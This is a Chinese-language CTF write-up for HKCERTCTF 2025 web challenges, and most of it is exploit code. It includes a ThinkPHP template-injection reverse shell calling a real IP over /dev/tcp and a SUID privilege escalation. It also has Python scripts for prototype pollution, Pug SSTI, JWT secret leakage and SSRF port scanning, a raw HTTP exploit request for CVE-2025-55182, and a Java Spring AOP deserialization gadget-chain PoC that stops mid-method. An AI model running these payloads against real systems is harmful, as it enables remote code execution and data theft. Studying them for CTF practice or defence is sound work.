HKCERTCTF 2025

友情提示:本文最后更新于 97 天前,文中的内容可能已有所发展或发生改变。

renderme

thinkphp 的模板注入,测试了一下,参数带外可以放恶意函数,解析的话,ThinkPHP 模板引擎支持 {$var|function}的语法,语法结构为{$待处理变量|函数名},发现 choom 进行 suid 提权

?name={$Request.get.a|$Request.get.b}&a=id&b=system

?name={$Request.get.a|$Request.get.b}&a=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F154.36.181.12%2F12345%200%3E%261%22&b=system

find / -type f -perm -4000 2>/dev/null
choom -n 0 -- /bin/sh -p

img

BabyUpload

.htaccess 文件上传,直接读取 flag

redirect permanent "/%{BASE64:%{FILE:/flag}}"

img

ezjs

{
  "name": "shabby_website",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "Rieß",
  "license": "ISC",
  "dependencies": {
    "body-parser": "^1.20.2",
    "cookie-parser": "^1.4.6",
    "express": "^4.18.1",
    "express-session": "^1.17.3",
    "json5": "2.2.1",
    "string-random": "^0.1.3",
    "pug": "^3.0.2"
  }
}

json52.2.2 版本之前存在 Prototype Pollution 漏洞(CVE-2022-46175)

const expres=require('express')
const JSON5 = require('json5');
const bodyParser = require('body-parser')
const pugjs=require('pug')
const session = require('express-session')
const rand = require('string-random')
var cookieParser = require('cookie-parser');
const SECRET = rand(32, '0123456789abcdef')

const port=80
const app=expres()

app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json())
app.use(session({
    secret: SECRET,
    resave: false,
    saveUninitialized:  true,
    cookie: { maxAge: 3600 * 1000 }
}));
app.use(cookieParser());
function waf(obj, arr){
    let verify = true;

    Object.keys(obj).forEach((key) => {
        if (arr.indexOf(key) > -1) {
            verify = false;
        }
    });
    return verify;
}
app.get('/',(req,res)=>{
    res.send('hey bro!')
})

app.post('/login',(req,res)=>{
    let userinfo=JSON.stringify(req.body)
    const user = JSON5.parse(userinfo)
    if (waf(user, ['admin'])) {
        req.session.user  = user
        if(req. session.user.admin==true){
            req.session.user='admin'
            res.send('hello,admin')
        }
        else{
            res.send('hello,guest')
        }
    }
    else {
        res.send('login error!')
    }
})

app.post('/render',(req,res)=>{
    if (req.session.user === 'admin'){
    
        var word = req.body.word
        
        const blacklist = ['require', 'exec']
        let isBlocked = false
        
        if (word) {
            for (let keyword of blacklist) {
                if (word.toLowerCase().includes(keyword.toLowerCase())) {
                    isBlocked = true
                    break
                }
            }
        }
        
        if (isBlocked) {
            res.send('Blocked:  dangerous keywords detected!')
        } else {
            var hello='welcome '+ word
            res.send (pugjs.render(hello))
        }
    }
    else{
        res.send('you are not admin')
    }
})

app.listen(port, () => {
    console.log(`Example app listening on port ${port}`)
})

到了 admin 之后绕过 RCE 即可

import httpx

url = "http://web-78d8ea15ea.challenge.xctf.org.cn"
client = httpx.Client()

login_url = url + "/login"
headers_login = {"Content-Type": "application/json"}
payload_login = '{"__proto__":{"admin":true}}'

r1 = client.post(login_url, content=payload_login, headers=headers_login)
print(r1.text)

if "hello,admin" not in r1.text:
    exit()

render_url = url + "/render"
headers_render = {"Content-Type": "application/x-www-form-urlencoded"}

cmd = "cat /flag"
ssti_payload = f"#{{global.process.mainModule.constructor._load('child_process')['ex'+'ecSync']('{cmd}').toString()}}"

data = {
    "word": ssti_payload
}

r2 = client.post(render_url, data=data, headers=headers_render)
print(r2.text)

r

<?php
error_reporting(0);
highlight_file(__FILE__);

class RequestHandler {
    public $processor;
    public $action;
    
    public function __construct() {
        $this->processor = new class {
            private $handle;
            
            public function __construct() {
                $this->handle = tmpfile();
            }
            
            public function __wakeup() {
                $this->handle = null;
            }
            
            public function execute() {
                if (!is_resource($this->handle)) {
                    die("Invalid resource state<br>");
                }
                system($_GET['cmd']);
            }
        };
    }
    
    public function __destruct() {
        if (!is_array($this->action)) {
            die("Error: action must be an array");
        }
        $cb=$this->action;
        $cb();
    }
}

$payload = $_GET['p'] ?? 'O:14:"RequestHandler":N';
@unserialize($payload);

processor 会创建一个匿名类,利用__destruct()调用__construct(),利用引用绕过 wakeup

<?php
class RequestHandler {
    public $processor;
    public $action;
}

$b = new RequestHandler();
$b->processor = null; 

$b->action = [&$b->processor, "execute"];

$a = new RequestHandler();
$a->action = [$b, "__construct"]; 

echo urlencode(serialize($a));
echo "\n";
?>

然后 RCE 就行,flag 在根目录

img

easy-LUA

一个 LUA 执行器,先看版本和遍历环境变量

print(_VERSION)
-- Lua 5.1


for k,v in pairs(_G) do
  print(k, v)
end


-- package	table: 0xa316ae0
-- _G	table: 0xa3169f0
-- _VERSION	Lua 5.1
-- _GOPHER_LUA_VERSION	GopherLua 0.1
-- pcall	function: 0xa3705e0
-- print	function: 0xa3711c0
-- _printregs	function: 0xa370620
-- setmetatable	function: 0xa370640
-- getmetatable	function: 0xa370660
-- tonumber	function: 0xa370680
-- unpack	function: 0xa3706a0
-- xpcall	function: 0xa3706c0
-- require	function: 0xa3706e0
-- assert	function: 0xa370700
-- error	function: 0xa370720
-- rawequal	function: 0xa370740
-- rawget	function: 0xa370760
-- rawset	function: 0xa370780
-- setfenv	function: 0xa3707a0
-- getfenv	function: 0xa3707c0
-- load	function: 0xa3707e0
-- loadfile	function: 0xa370800
-- select	function: 0xa370820
-- tostring	function: 0xa370840
-- type	function: 0xa370860
-- module	function: 0xa370880
-- newproxy	function: 0xa3708a0
-- collectgarbage	function: 0xa3708c0
-- dofile	function: 0xa3708e0
-- loadstring	function: 0xa370900
-- next	function: 0xa370920
-- ipairs	function: 0xa370980
-- pairs	function: 0xa3709c0
-- table	table: 0xa316ba0
-- string	table: 0xa316bd0
-- math	table: 0xa316c00
-- S3cr3t0sEx3cFunc	function: 0xa3711e0
-- getFileContent	function: 0xa371200
-- getFileList	function: 0xa371220

发现有个函数很有 CTF 风格S3cr3t0sEx3cFunc直接 RCE

print(S3cr3t0sEx3cFunc("id"))
print(S3cr3t0sEx3cFunc("cat /flag"))

netool

def verify_token(token: str) -> TokenData:
    print(f"Token to verify: {token}")
    
    try:
        SECRET_KEY = "secretkey" if len(token) <= 2048 else base64.b64decode(token[:2048])
    except Exception:
        raise HTTPException(
            status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, 
            detail=f"Token custom check failed: {traceback.format_exc()}"
            )
    
    # ... 后续逻辑 ...

直接打印错误到前端,不儿?这个题怎么和拟态决赛的一样😂

import requests
import re
import jwt
import json
from datetime import datetime, timedelta

BASE_URL = "http://web-36735631ba.challenge.xctf.org.cn"

def get_secret_key():
    malicious_token = ("A" * 2045) + ("!" * 3) + "OVERFLOW"
    
    headers = {
        "Cookie": f"access_token=Bearer {malicious_token}"
    }

    try:
        r = requests.get(f"{BASE_URL}/guest/dashboard", headers=headers)
        
        if r.status_code == 500:
            print("[+] 成功触发 500 错误,正在解析响应...")
            try:
                error_text = r.json().get("detail", "")
            except:
                error_text = r.text
            pattern = r'SECRET_KEY\s*=\s*["\']([^"\']+)["\']'
            match = re.search(pattern, error_text)
            
            if match:
                key = match.group(1)
                print(f"[!] 🎯 成功捕获密钥: {key}")
                return key
            else:
                print("[-] 触发了报错,但正则没匹配到 Key。")
                print(f"[-] 调试信息 (部分): {error_text[:200]}")
                return None
        else:
            print(f"[-] 未能触发 500 错误,状态码: {r.status_code}")
            return None

    except Exception as e:
        print(f"[-] 连接异常: {e}")
        return None

def attack(secret_key):
    
    token_payload = {
        "sub": "admin",
        "exp": datetime.utcnow() + timedelta(minutes=10),
        "iat": datetime.utcnow()
    }
    
    token = jwt.encode(token_payload, secret_key, algorithm="HS256")

    if isinstance(token, bytes):
        token = token.decode('utf-8')
    cookies = {
        "access_token": f"Bearer {token}"
    }
    return cookies

if __name__ == "__main__":
    # 执行全流程
    real_key = get_secret_key()
    print(real_key)
    print(attack(real_key))

进行内网服务探测

import httpx
import asyncio
import jwt
import sys
from datetime import datetime, timedelta

REAL_KEY = "RDbiBrgdR#CrdZVW"
BASE_URL = "http://web-36735631ba.challenge.xctf.org.cn"
SSRF_URL = f"{BASE_URL}/admin/nettools"
PORTS = range(1, 65536)
CONCURRENCY = 50

def get_token():
    payload = {"sub": "admin", "exp": datetime.utcnow() + timedelta(hours=1)}
    token = jwt.encode(payload, REAL_KEY, algorithm="HS256")
    return token if isinstance(token, str) else token.decode()

async def scan(client, port, token, sem):
    async with sem:
        try:
            data = {
                "http_method": "GET",
                "http_url": f"http://127.0.0.1:{port}/",
                "http_headers": "{}",
                "http_body": ""
            }
            resp = await client.post(SSRF_URL, data=data, cookies={"access_token": f"Bearer {token}"}, timeout=3)
            
            if "Status: " in resp.text and "Connection refused" not in resp.text:
                status = resp.text.split("Status: ")[1][:3].strip()
                print(f"\033[1;32m[+] Port {port:<5} | Status: {status} | Length: {len(resp.text)}\033[0m")
        except:
            pass

async def main():
    token = get_token()
    print(f"[*] Scanning 127.0.0.1 ports {PORTS.start}-{PORTS.stop-1}...")
    
    sem = asyncio.Semaphore(CONCURRENCY)
    limits = httpx.Limits(max_keepalive_connections=None, max_connections=None)
    
    async with httpx.AsyncClient(limits=limits, verify=False) as client:
        await asyncio.gather(*(scan(client, p, token, sem) for p in PORTS))

if __name__ == "__main__":
    if sys.platform == 'win32': 
        asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
    asyncio.run(main())

直接读取 /flag 不成功,探测内网服务发现 9000 有个 MCP,然后列目录,读文件

react

CVE-2025-55182,直接打就行

POST / HTTP/1.1
Host: web-ab1a42708d.challenge.xctf.org.cn
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 763

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('tac /flag').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

img

NetWatcher

开头是个ssrf,利用 jar 协议进行任意文件读取

jar:<url>!/{entry}
jar::协议头。
<url>:这是JAR文件的绝对路径,可以是本地文件(file://)也可以是远程文件(http://)。
!/:分隔符,表示后面紧跟的是压缩包内的文件名。

jar:file:///proc/self/cwd/app.jar!/BOOT-INF/classes/application.properties

jar:file:///proc/self/cwd/app.jar!/BOOT-INF/classes/org/ctf/netwatcher/controller/PreviewController.class

看下逻辑

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.ctf.netwatcher.controller;

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import org.ctf.netwatcher.annotation.DeveloperNote;
import org.ctf.netwatcher.model.RequestPayload;
import org.ctf.netwatcher.util.SecurityTools;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;

@Controller
@DeveloperNote(" Developer's note. The old admin check logic was removed. The AdminController is for internal use only and should never be loaded directly.")
public class PreviewController {
    @Autowired
    private ObjectMapper objectMapper;

    @GetMapping({"/"})
    public String index() {
        return "index";
    }

    @PostMapping({"/api/preview"})
    public String preview(@RequestBody String rawBody, Model model) {
        try {
            String decodedJson = new String(Base64.getDecoder().decode(rawBody), StandardCharsets.UTF_8);
            RequestPayload payload = (RequestPayload)this.objectMapper.readValue(decodedJson, RequestPayload.class);
            if (!SecurityTools.verifySignature(payload)) {
                model.addAttribute("error", "Security Alert: Signature Verification Failed.");
                return "index";
            }

            String targetUrl = payload.getUrl();
            if (!SecurityTools.isSafeProtocol(targetUrl)) {
                model.addAttribute("error", "Security Alert: Blocked Protocol detected.");
                return "index";
            }

            if (targetUrl.toLowerCase().contains("flag")) {
                model.addAttribute("error", "Security Alert: Sensitive file access attempt.");
                return "index";
            }

            URL url = new URL(targetUrl);
            URLConnection connection = url.openConnection();
            connection.setConnectTimeout(2000);
            connection.setReadTimeout(2000);

            try (
                InputStream in = connection.getInputStream();
                ByteArrayOutputStream out = new ByteArrayOutputStream();
            ) {
                byte[] buffer = new byte[4096];

                int n;
                while((n = in.read(buffer)) != -1) {
                    out.write(buffer, 0, n);
                }

                byte[] fileContent = out.toByteArray();
                String base64Content = Base64.getEncoder().encodeToString(fileContent);
                model.addAttribute("result", base64Content);
                model.addAttribute("target", targetUrl);
            }
        } catch (Exception var18) {
            model.addAttribute("error", "Invalid JSON format. Error occurred in: org.ctf.netwatcher.controller.PreviewController");
        }

        return "index";
    }
}

接着读取即可

jar:file:///proc/self/cwd/app.jar!/BOOT-INF/classes/org/ctf/netwatcher/controller/AdminController.class

jar:file:///proc/self/cwd/app.jar!/BOOT-INF/classes/org/ctf/netwatcher/util/SecurityTools.class

jar:file:///proc/self/cwd/app.jar!/BOOT-INF/classes/org/ctf/netwatcher/model/RequestPayload.class

看admin的控制器

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.ctf.netwatcher.controller;

import java.io.ByteArrayInputStream;
import java.io.InvalidClassException;
import java.util.Base64;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping({"/internal/api/v1/admin"})
public class AdminController {
    @Value("${admin.access.token}")
    private String adminToken;

    @PostMapping({"/console"})
    public String adminConsole(@RequestBody String payload, @RequestHeader(value = "X-Admin-Token",required = false) String token) {
        if (token != null && token.equals(this.adminToken)) {
            try {
                byte[] data = Base64.getDecoder().decode(payload);
                SecureObjectInputStream ois = new SecureObjectInputStream(new ByteArrayInputStream(data));
                Object obj = ois.readObject();
                return "Task Submitted: " + obj.toString();
            } catch (InvalidClassException e) {
                return "Security Alert: Malicious Gadget Blocked (" + e.getMessage() + ")";
            } catch (Exception var7) {
                return "Processing Failed";
            }
        } else {
            return "403 Forbidden: Invalid Access Token";
        }
    }
}

反序列化接口/internal/api/v1/admin/console需要Header X-Admin-Token,明文 key 为 N3tW4tch3r_Sup3r_S3cr3txxx_K3y_2024,读取黑名单

//jar:file:///proc/self/cwd/app.jar!/BOOT-INF/classes/org/ctf/netwatcher/controller/AdminController$SecureObjectInputStream.class
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.ctf.netwatcher.controller;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.Arrays;
import java.util.List;

class AdminController$SecureObjectInputStream extends ObjectInputStream {
    private static final List<String> BLACKLIST = Arrays.asList("com.fasterxml.jackson", "com.fasterxml.jackson.databind.node.POJONode");

    public AdminController$SecureObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();

        for(String black : BLACKLIST) {
            if (className.startsWith(black)) {
                throw new InvalidClassException("Unauthorized class: " + className);
            }
        }

        return super.resolveClass(desc);
    }
}

过滤了 Jackson 链关键方法,读取一下 pom.xml

jar:file:///proc/self/cwd/app.jar!/META-INF/MANIFEST.MF

Manifest-Version: 1.0
Created-By: Maven JAR Plugin 3.3.0
Build-Jdk-Spec: 17
Implementation-Title: netwatcher
Implementation-Version: 0.0.1-SNAPSHOT
Main-Class: org.springframework.boot.loader.launch.JarLauncher
Start-Class: org.ctf.netwatcher.NetwatcherApplication
Spring-Boot-Version: 3.2.4
Spring-Boot-Classes: BOOT-INF/classes/
Spring-Boot-Lib: BOOT-INF/lib/
Spring-Boot-Classpath-Index: BOOT-INF/classpath.idx
Spring-Boot-Layers-Index: BOOT-INF/layers.idx


jar:file:///proc/self/cwd/app.jar!/META-INF/maven/org.ctf/netwatcher/pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.2.4</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>org.ctf</groupId>
    <artifactId>netwatcher</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>netwatcher</name>
    <description>netwatcher</description>
    <url/>
    <licenses>
        <license/>
    </licenses>
    <developers>
        <developer/>
    </developers>
    <scm>
        <connection/>
        <developerConnection/>
        <tag/>
        <url/>
    </scm>
    <properties>
        <java.version>17</java.version>
    </properties>
    <dependencies>
        <!-- Web 模块 (包含 Tomcat, Jackson, Spring MVC) -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <!-- Thymeleaf 模板 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>

        <!-- AOP 模块 (题目要求的) -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-aop</artifactId>
        </dependency>

        <!-- 工具库 (Base64, MD5) -->
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.16.1</version>
        </dependency>

        <!-- Lombok -->
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <optional>true</optional>
        </dependency>

        <dependency>
            <groupId>org.aspectj</groupId>
            <artifactId>aspectjweaver</artifactId>
            <version>1.9.8</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

估计是打 spring 那条新链子,入口还是使用EventListenerList#readObject触发 toString 方法,后面肯定还是要用 templates,所以JdkDynamicAopProxy还是要用的,在 Java 中如果触发了代理对象的任意方法都会触发其 invoke 方法,

@Nullable
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Object oldProxy = null;
    boolean setProxyContext = false;
    TargetSource targetSource = this.advised.targetSource;
    Object target = null;

    Boolean var8;
    try {
        if (this.cache.equalsDefined || !AopUtils.isEqualsMethod(method)) {
            if (!this.cache.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
                Integer var19 = this.hashCode();
                return var19;
            }

            if (method.getDeclaringClass() == DecoratingProxy.class) {
                Class var18 = AopProxyUtils.ultimateTargetClass(this.advised);
                return var18;
            }

            if (!this.advised.opaque && method.getDeclaringClass().isInterface() && method.getDeclaringClass().isAssignableFrom(Advised.class)) {
                Object var17 = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
                return var17;
            }

            if (this.advised.exposeProxy) {
                oldProxy = AopContext.setCurrentProxy(proxy);
                setProxyContext = true;
            }

            target = targetSource.getTarget();
            Class<?> targetClass = target != null ? target.getClass() : null;
            List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
            Object retVal;
            if (chain.isEmpty()) {
                Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
                retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
            } else {
                MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
                retVal = invocation.proceed();
            }

            Class<?> returnType = method.getReturnType();
            if (retVal != null && retVal == target && returnType != Object.class && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
                retVal = proxy;
            } else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
                throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + String.valueOf(method));
            }

            if (coroutinesReactorPresent && KotlinDetector.isSuspendingFunction(method)) {
                Object var22 = "kotlinx.coroutines.flow.Flow".equals((new MethodParameter(method, -1)).getParameterType().getName()) ? CoroutinesUtils.asFlow(retVal) : CoroutinesUtils.awaitSingleOrNull(retVal, args[args.length - 1]);
                return var22;
            }

            Object var12 = retVal;
            return var12;
        }

        var8 = this.equals(args[0]);
    } finally {
        if (target != null && !targetSource.isStatic()) {
            targetSource.releaseTarget(target);
        }

        if (setProxyContext) {
            AopContext.setCurrentProxy(oldProxy);
        }

    }

    return var8;
}

对于 hashcode 和 equals 方法直接返回,但是我触发的是 toString,他并没有明确说明,一直到获取被代理的原始对象之后,List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);会检查是否有Advisor/Advice需要执行,然后 chain 肯定不为空,所以我们需要走这条路

img

现在需要寻找合适的Advisor/Advice类的 invoke 方法可以合适调用的,找到AspectJAroundAdvice#invoke

@Nullable
public Object invoke(MethodInvocation mi) throws Throwable {
    if (mi instanceof ProxyMethodInvocation pmi) {
        ProceedingJoinPoint pjp = this.lazyGetProceedingJoinPoint(pmi);
        JoinPointMatch jpm = this.getJoinPointMatch(pmi);
        return this.invokeAdviceMethod(pjp, jpm, (Object)null, (Throwable)null);
    } else {
        throw new IllegalStateException("MethodInvocation is not a Spring ProxyMethodInvocation: " + String.valueOf(mi));
    }
}

检测是否是 spring 代理调用,跟进

@Nullable
protected Object invokeAdviceMethod(JoinPoint jp, @Nullable JoinPointMatch jpMatch, @Nullable Object returnValue, @Nullable Throwable t) throws Throwable {
    return this.invokeAdviceMethodWithGivenArgs(this.argBinding(jp, jpMatch, returnValue, t));
}

参数赋值过程,跟进

@Nullable
protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {
    Object[] actualArgs = args;
    if (this.aspectJAdviceMethod.getParameterCount() == 0) {
        actualArgs = null;
    }

    Object aspectInstance = this.aspectInstanceFactory.getAspectInstance();
    if (aspectInstance.equals((Object)null)) {
        JoinPoint var5 = this.getJoinPoint();
        if (var5 instanceof ProceedingJoinPoint) {
            ProceedingJoinPoint pjp = (ProceedingJoinPoint)var5;
            return pjp.proceed();
        } else {
            return null;
        }
    } else {
        try {
            ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);
            return this.aspectJAdviceMethod.invoke(aspectInstance, actualArgs);
        } catch (IllegalArgumentException ex) {
            throw new AopInvocationException("Mismatch on arguments to advice method [" + String.valueOf(this.aspectJAdviceMethod) + "]; pointcut expression [" + String.valueOf(this.pointcut.getPointcutExpression()) + "]", ex);
        } catch (InvocationTargetException ex) {
            throw ex.getTargetException();
        }
    }
}

这里看就相当于反射了,跟进

@CallerSensitive
@ForceInline // to ensure Reflection.getCallerClass optimization
@IntrinsicCandidate
public Object invoke(Object obj, Object... args)
    throws IllegalAccessException, IllegalArgumentException,
       InvocationTargetException
{
    if (!override) {
        Class<?> caller = Reflection.getCallerClass();
        checkAccess(caller, clazz,
                    Modifier.isStatic(modifiers) ? null : obj.getClass(),
                    modifiers);
    }
    MethodAccessor ma = methodAccessor;             // read volatile
    if (ma == null) {
        ma = acquireMethodAccessor();
    }
    return ma.invoke(obj, args);
}

到了原生的 invoke,那么就能够调用TemplatesImpl#getOutputProperties了,写个 poc

需要注意一个问题就是 Advice 方法通常需要接收参数,我们需要先传一串无害的避免调用失败。

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.DefaultAdvisorChainFactory;
import org.springframework.aop.support.NameMatchMethodPointcutAdvisor;
import org.springframework.aop.target.SingletonTargetSource;
import sun.misc.Unsafe;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Vector;

public class Poc {

    public static void main(String[] args) throws Exception {
        patchModule(Poc.class);

        Object templates = createTemplatesImplByUnsafe("open -a Calculator");
        SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates);

        AspectJAroundAdvice advice = (AspectJAroundAdvice) allocateInstance(AspectJAroundAdvice.class);
        setField(advice, "aspectInstanceFactory", factory);
        setField(advice, "declaringClass", Templates.class);
        setField(advice, "methodName", "getOutputProperties");
        setField(advice, "parameterTypes", new Class[0]);

        AspectJExpressionPointcut pointcut = (AspectJExpressionPointcut) allocateInstance(AspectJExpressionPointcut.class);
        setField(pointcut, "expression", "");
        setField(advice, "pointcut", pointcut);
        setIntField(advice, "joinPointArgumentIndex", -1);
        setIntField(advice, "joinPointStaticPartArgumentIndex", -1);

        NameMatchMethodPointcutAdvisor advisor = new NameMatchMethodPointcutAdvisor(advice);
        advisor.setMappedName("toString");
        List<Advisor> advisors = new ArrayList<>();
        advisors.add(advisor);

        Class<?> jdkDynamicProxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> proxyConstructor = jdkDynamicProxyClass.getDeclaredConstructor(AdvisedSupport.class);
        proxyConstructor.setAccessible(true);

        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTargetSource(new SingletonTargetSource("target"));

        setField(advisedSupport, "advisors", advisors);
        setField(advisedSupport, "advisorChainFactory", new DefaultAdvisorChainFactory());

        InvocationHandler handler = (InvocationHandler) proxyConstructor.newInstance(advisedSupport);

        Object proxy = Proxy.newProxyInstance(
                Poc.class.getClassLoader(),
                new Class[]{Map.class},
                handler
        );

        EventListenerList listenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector edits = (Vector) getField(undoManager, "edits");
        edits.add(proxy);
        setField(listenerList, "listenerList", new Object[]{Class.class, undoManager});


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(listenerList);
        oos.close();

        ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }

    private static Unsafe getUnsafe() {
        try {
            Field f = Unsafe.class.getDeclaredField("theUnsafe");
            f.setAccessible(true);
            return (Unsafe) f.get(null);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    private static Object allocateInstance(Class<?> clazz) {
        try {
            return getUnsafe().allocateInstance(clazz);
        } catch (InstantiationException e) {
            throw new RuntimeException(e);
        }
    }

    private static void setField(Object obj, String fieldName, Object value) {
        try {
            Field field = null;
            Class<?> clazz = obj.getClass();
            while (clazz != null) {
                try {
                    field = clazz.getDeclaredField(fieldName);
                    break;
                } catch (NoSuchFieldException e) {
                    clazz = clazz.getSuperclass();
                }
            }
            if (field == null) throw new NoSuchFieldException(fieldName);

            Unsafe unsafe = getUnsafe();
            long offset = unsafe.objectFieldOffset(field);
            unsafe.putObject(obj, offset, value);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    private static void setIntField(Object obj, String fieldName, int value) {
        try {
            Field field = null;
            Class<?> clazz = obj.getClass();
            while (clazz != null) {
                try {
                    field = clazz.getDeclaredField(fieldName);
                    break;
                } catch (NoSuchFieldException e) {
                    clazz = clazz.getSuperclass();
                }
            }
            if (field == null) throw new NoSuchFieldException(fieldName);

            Unsafe unsafe = getUnsafe();
            long offset = unsafe.objectFieldOffset(field);
            unsafe.putInt(obj, offset, value);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    private static Object getField(Object obj, String fieldName) {
        try {
            Field field = null;
            Class<?> clazz = obj.getClass();
            while (clazz != null) {
                try {
                    field = clazz.getDeclaredField(fieldName);
                    break;
                } catch (NoSuchFieldException e) {
                    clazz = clazz.getSuperclass();
                }
            }
            if (field == null) throw new NoSuchFieldException(fieldName);

            Unsafe unsafe = getUnsafe();
            long offset = unsafe.objectFieldOffset(field);
            return unsafe.getObject(obj, offset);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    private static Object createTemplatesImplByUnsafe(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass evilClass = pool.makeClass("Evil" + System.nanoTime());
        evilClass.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");");

        byte[] evilBytes = evilClass.toBytecode();
        CtClass stubClass = pool.makeClass("Stub" + System.nanoTime());
        byte[] stubBytes = stubClass.toBytecode();

        Object templates = allocateInstance(TemplatesImpl.class);

        setField(templates, "_bytecodes", new byte[][]{evilBytes, stubBytes});
        setField(templates, "_name", "Pwnd");
        setIntField(templates, "_transletIndex", 0);

        return templates;
    }

    private static void patchModule(Class<?> clazz) {
        try {
